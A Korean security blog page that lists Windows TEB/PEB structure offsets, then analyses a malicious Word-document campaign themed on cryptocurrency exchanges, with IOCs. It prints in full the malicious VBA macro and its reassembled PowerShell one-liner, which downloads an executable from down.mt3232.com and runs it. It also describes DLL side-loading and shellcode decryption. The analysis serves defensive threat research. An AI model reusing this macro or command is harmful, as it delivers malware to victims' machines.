data structure

[+] etc.. 2020. 4. 30. 18:15

TIB structure


struct _TEB {
    0x000 _NT_TIB NtTib;
    0x01c void* EnvironmentPointer;
    0x020 _CLIENT_ID ClientId;
    0x028 void* ActiveRpcHandle;
    0x02c void* ThreadLocalStoragePointer;
    0x030 _PEB* ProcessEnvironmentBlock;  /* In WinNT (incl. Win 2K, XP, and Vista), the most significant bit of the PEB pointer is typically never set, because high memory addresses are reserved for the OS. */ </b>
    0x034 DWORD LastErrorValue;
    0x038 DWORD CountOfOwnedCriticalSections;
    0x03c void* CsrClientThread;
    0x040 void* Win32ThreadInfo;
    0x044 DWORD User32Reserved[26];
    0x0ac DWORD UserReserved[5];
    0x0c0 void* WOW32Reserved;
    0x0c4 DWORD CurrentLocale;
    0x0c8 DWORD FpSoftwareStatusRegister;
    0x0cc void* SystemReserved1[54];
    0x1a4 int ExceptionCode;
    0x1a8 _ACTIVATION_CONTEXT_STACK ActivationContextStack;
    0x1bc DWORD SpareBytes1[24];
    0x1d4 _GDI_TEB_BATCH GdiTebBatch;
    0x6b4 _CLIENT_ID RealClientId;
    0x6bc void* GdiCachedProcessHandle;
    0x6c0 DWORD GdiClientPID;
    0x6c4 DWORD GdiClientTID;
    0x6c8 void* GdiThreadLocalInfo;
    0x6cc DWORD Win32ClientInfo[62];
    0x7c4 void* glDispatchTable[233];
    0xb68 DWORD glReserved1[29];
    0xbdc void* glReserved2;
    0xbe0 void* glSectionInfo;
    0xbe4 void* glSection;
    0xbe8 void* glTable;
    0xbec void* glCurrentRC;
    0xbf0 void* glContext;
    0xbf4 DWORD LastStatusValue;
    0xbf8 _UNICODE_STRING StaticUnicodeString;
    0xc00 WORD StaticUnicodeBuffer[261];
    0xe0c void* DeallocationStack;
    0xe10 void* TlsSlots[64];
    0xf10 _LIST_ENTRY TlsLinks;
    0xf18 void* Vdm;
    0xf1c void* ReservedForNtRpc;
    0xf20 void* DbgSsReserved[2];
    0xf28 DWORD HardErrorsAreDisabled;
    0xf2c void* Instrumentation[16];
    0xf6c void* WinSockData;
    0xf70 DWORD GdiBatchCount;
    0xf74 UChar InDbgPrint;
    0xf75 UChar FreeStackOnTermination;
    0xf76 UChar HasFiberData;
    0xf77 UChar IdealProcessor;
    0xf78 DWORD Spare3;
    0xf7c void* ReservedForPerf;
    0xf80 void* ReservedForOle;
    0xf84 DWORD WaitingOnLoaderLock;
    0xf88 _Wx86ThreadState Wx86Thread;
    0xf94 void** TlsExpansionSlots;
    0xf98 DWORD ImpersonationLocale;
    0xf9c DWORD IsImpersonating;
    0xfa0 void* NlsCache;
    0xfa4 void* pShimData;
    0xfa8 DWORD HeapVirtualAffinity;
    0xfac void* CurrentTransactionHandle;
    0xfb0 _TEB_ACTIVE_FRAME* ActiveFrame;
};

 

 

PEB structure


struct _PEB {
    0x000 BYTE InheritedAddressSpace;
    0x001 BYTE ReadImageFileExecOptions;
    0x002 BYTE BeingDebugged;
    0x003 BYTE SpareBool;
    0x004 void* Mutant;
    0x008 void* ImageBaseAddress;
    0x00c _PEB_LDR_DATA* Ldr;
    0x010 _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;
    0x014 void* SubSystemData;
    0x018 void* ProcessHeap;
    0x01c _RTL_CRITICAL_SECTION* FastPebLock;
    0x020 void* FastPebLockRoutine;
    0x024 void* FastPebUnlockRoutine;
    0x028 DWORD EnvironmentUpdateCount;
    0x02c void* KernelCallbackTable;
    0x030 DWORD SystemReserved[1];
    0x034 DWORD ExecuteOptions:2; // bit offset: 34, len=2
    0x034 DWORD SpareBits:30; // bit offset: 34, len=30
    0x038 _PEB_FREE_BLOCK* FreeList;
    0x03c DWORD TlsExpansionCounter;
    0x040 void* TlsBitmap;
    0x044 DWORD TlsBitmapBits[2];
    0x04c void* ReadOnlySharedMemoryBase;
    0x050 void* ReadOnlySharedMemoryHeap;
    0x054 void** ReadOnlyStaticServerData;
    0x058 void* AnsiCodePageData;
    0x05c void* OemCodePageData;
    0x060 void* UnicodeCaseTableData;
    0x064 DWORD NumberOfProcessors;
    0x068 DWORD NtGlobalFlag;
    0x070 _LARGE_INTEGER CriticalSectionTimeout;
    0x078 DWORD HeapSegmentReserve;
    0x07c DWORD HeapSegmentCommit;
    0x080 DWORD HeapDeCommitTotalFreeThreshold;
    0x084 DWORD HeapDeCommitFreeBlockThreshold;
    0x088 DWORD NumberOfHeaps;
    0x08c DWORD MaximumNumberOfHeaps;
    0x090 void** ProcessHeaps;
    0x094 void* GdiSharedHandleTable;
    0x098 void* ProcessStarterHelper;
    0x09c DWORD GdiDCAttributeList;
    0x0a0 void* LoaderLock;
    0x0a4 DWORD OSMajorVersion;
    0x0a8 DWORD OSMinorVersion;
    0x0ac WORD OSBuildNumber;
    0x0ae WORD OSCSDVersion;
    0x0b0 DWORD OSPlatformId;
    0x0b4 DWORD ImageSubsystem;
    0x0b8 DWORD ImageSubsystemMajorVersion;
    0x0bc DWORD ImageSubsystemMinorVersion;
    0x0c0 DWORD ImageProcessAffinityMask;
    0x0c4 DWORD GdiHandleBuffer[34];
    0x14c void (*PostProcessInitRoutine)();
    0x150 void* TlsExpansionBitmap;
    0x154 DWORD TlsExpansionBitmapBits[32];
    0x1d4 DWORD SessionId;
    0x1d8 _ULARGE_INTEGER AppCompatFlags;
    0x1e0 _ULARGE_INTEGER AppCompatFlagsUser;
    0x1e8 void* pShimData;
    0x1ec void* AppCompatInfo;
    0x1f0 _UNICODE_STRING CSDVersion;
    0x1f8 void* ActivationContextData;
    0x1fc void* ProcessAssemblyStorageMap;
    0x200 void* SystemDefaultActivationContextData;
    0x204 void* SystemAssemblyStorageMap;
    0x208 DWORD MinimumStackCommit;
);

 

 

PEB -> LDR_DATA


typedef struct _PEB_LDR_DATA
{
    0x00    ULONG         Length;                            /* Size of structure, used by ntdll.dll as structure version ID */
    0x04    BOOLEAN       Initialized;                       /* If set, loader data section for current process is initialized */
    0x08    PVOID         SsHandle;
    0x0c    LIST_ENTRY    InLoadOrderModuleList;             /* Pointer to LDR_DATA_TABLE_ENTRY structure. Previous and next module in load order */
    0x14    LIST_ENTRY    InMemoryOrderModuleList;           /* Pointer to LDR_DATA_TABLE_ENTRY structure. Previous and next module in memory placement order */
    0x1c    LIST_ENTRY    InInitializationOrderModuleList;   /* Pointer to LDR_DATA_TABLE_ENTRY structure. Previous and next module in initialization order */
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

'[+] etc..' 카테고리의 다른 글

yara_Crat_encStr  (0) 2020.06.05
powershell_payload_shellcode.asm  (0) 2020.05.10
yara_signing_Exchange  (0) 2020.05.10
yara_Nemty_memoryLoader  (0) 2019.09.20
Direct3D Hooking  (0) 2019.08.13
블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

3월부터 토탈에서 지속적으로 코인거래소와 관련된 제목과 내용을 가지고 있는 문서가 확인되었다. 이 공격은 현재까지 지속적으로 이루어지고 있는 것으로 확인되며 유사한점이 많아 분석을 진행하였다. 

 

 

4 10일에 마지막으로 수정되었으며 정상적인 워드 문서로 위장하고 있는 파일은 취약점을 악용하며  매크로 코드가 포함되어 있지않지만 추가로 다운로드 받은 파일(매크로 코드가 포함된 워드서식)에 의해 콘텐츠 사용버튼을 누름으로써 매크로 코드가 동작하게 된다.

 

 [그림 1] 콘첸츠 사용 유도

 

[그림 2] 문서 마지막으로 수정한 날짜 및 만든이

 

매크로 코드는 추가 파일을 다운로드 받기 위해 시도하며 Powershell을 사용하여 동작시킨다.

Private Sub Document_Open()
myvba
End Sub

Private Sub myvba()
Dim shp As Shape

 
'Delete Shapes
For Each shp In ActiveDocument.Shapes
    shp.Delete
Next shp
    Dim str, str1, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11, str12, str13, str14, str15
    str1 = "cm"
    str2 = "d /c powers"
    str3 = "hell w"
    str4 = "get -u"
    str5 = "ri "
    str6 = "https://down.mt3232.com/cs/"
    str7 = "log.txt"
    str8 = " -outfile C:\Users\Public\Documents\log.e"
    str9 = "xe;[System.Diagnostics.Pro"
    str10 = "cess]::St"
    str11 = "art('"
    str12 = "C:\Users\Public\Documents\log.e"
    str13 = "xe',"
    str14 = "'asijdoaj"
    str15 = "sid');"
    str = str1 & str2 & str3 & str4 & str5 & str6 & str7 & str8 & str9 & str10 & str11 & str12 & str13 & str14 & str15
    Set ws = CreateObject("WScr" & "ipt.Sh" & "ell")
    ws.Run str, 0, False

 
End Sub

 

cmd /c powershell wget -uri https://down.mt3232.com/cs/log.txt -outfile C:\Users\Public\Documents\log.exe;[System.Diagnostics.Process]::Start('C:\Users\Public\Documents\log.exe asijdoajsid');

 

 

 

받은 파일(log.exe)은 NHN의 서명을 가지고 있으며 4월13일자로 등록되어있다. 내부 리소스에는 2개의 파일이 포함되어있으며 정상적으로 동작할 경우 동일한 폴더에 각각 생성 후 스케줄러를 사용하여 동작시킨다.

 

[그림 3] NHN 위장 서명

 

[그림4] 내부에 포함된 리소스

 

생성파일 1. GoogleUpdate.exe (정상파일)

  - 스케줄러명 #1 : GoogleUpdate (매일 오전9시 동작)

  - 스케줄러명 #2 : GoogleUpdateOnce (5분 후)

생성파일 2. goopdate.dll (악성, UPX)

 

 

리소스파일은 DLL Side-Loading 이라는 기법을 사용하는 것으로 보인다. GoogleUpdate.exe 파일은 정상 구글업데이트 파일로 실행 시 goopdate.dll의 DllEntry 함수를 동작시키는 코드가 포함되어 있는데 공격자를 이를 악용하여 생성파일2(goopdate.dll)를 동작시킨다. 정상적으로 동작한 DLL파일은 정상적인 PC에서 동작하는 것인지 확인하기 위해 프로세서가 4 이상인지 확인 후 동작시킨다.

 

[그림 5] 정상 goopdate.dll의 DllEntry 함수

 

[그림 6] 악성 goopdate.dll의 DllEntry 함수

 

GoogleUpdate.exe에서 goopdate.dll를 찾아서 로드하여 DllEntry 함수를 실행하는 과정에서 DLL의 경로를 가져오며 그 값에서 +0x06에 위치한 데이터(0x55)를 쉘코드의 복호화 키로 사용한다. 쉘코드에서 통신하는 최종 C&C 서버는 코인거래소(빗썸)과 유사한 주소를 가지고 있으며 추가 바이너리를 받아와 복호화 후 메모리에 다시 로드하는 과정을 포함하고 있다.

 

 

번외로 최종 C&C서버는 동일하게 사용하며 코인원, 업비트 등등 다양한 형태의 문서로 위장하여 사용자에게 유포되고 있으며 log.txt파일은 NHN 서명을 계속 포함하고 있었다. 또한 log.txt 페이지는 정상적인 접근이 아니라면 리다이렉션 되도록 설정이 된듯한데 리다이렉션되는 페이지가 네이버로 되어있더라....

 

사전투표 미리하고 집에서 잉여처럼 지낼예정이였으나 어제는 논다고 바빠서 마무리를 못했지만 오늘이라도 올려본다

 

[그림 7] 유포된 문서들 내용 일부

 

[IOC]

734618D96B0C73E2F36CDCCC3DE73F7A (새로운 방안입니다_1.docx)

84008911B1028EBDC1EC642051B21389 (word.dotm)

EBF2973E4CA3C86CC9DE396DF9137DAD (log.txt)


down.mt3232.com 
products.0ffice-microsoft.com 
cs.bit-humb.com

 

[유사샘플] 
16EC6973838186155689FCC9DDDF1FDA 
4738EF788DD7AA1C4CB774E217A9897E 
1007284d1267920766403c5657a1b9b4 
05D568E6CE9707795098D9DA70C474E5 

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,